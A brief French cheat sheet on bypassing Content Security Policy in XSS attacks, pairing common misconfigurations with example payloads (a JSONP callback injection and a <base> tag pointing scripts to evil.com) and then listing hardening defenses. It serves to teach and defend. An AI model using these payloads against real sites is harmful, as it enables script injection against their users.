CSP Bypass — Contournement de Content Security Policy

XSS Avancé

Contexte

La CSP est une défense en profondeur contre le XSS. Une politique mal configurée laisse cependant des angles d'exécution : sources trop permissives, unsafe-inline, domaines de confiance hébergeant des gadgets JSONP, ou base-uri non verrouillée.

Faiblesses fréquentes

# unsafe-inline -> XSS inline directement exploitable
Content-Security-Policy: script-src 'unsafe-inline'

# Domaine de confiance avec endpoint JSONP
<script src="https://trusted.cdn/jsonp?callback=alert(document.domain)">

# Absence de base-uri -> injection de <base> pour détourner les scripts relatifs
<base href="https://evil.com/">

# Wildcard ou data: dans script-src
script-src *  /  script-src data:

Défenses

Politique stricte basée sur nonces ou hashes (pas unsafe-inline), strict-dynamic, base-uri 'none', object-src 'none', éviter les domaines hébergeant des gadgets JSONP/Angular, et tester la politique avec l'évaluateur CSP de Google.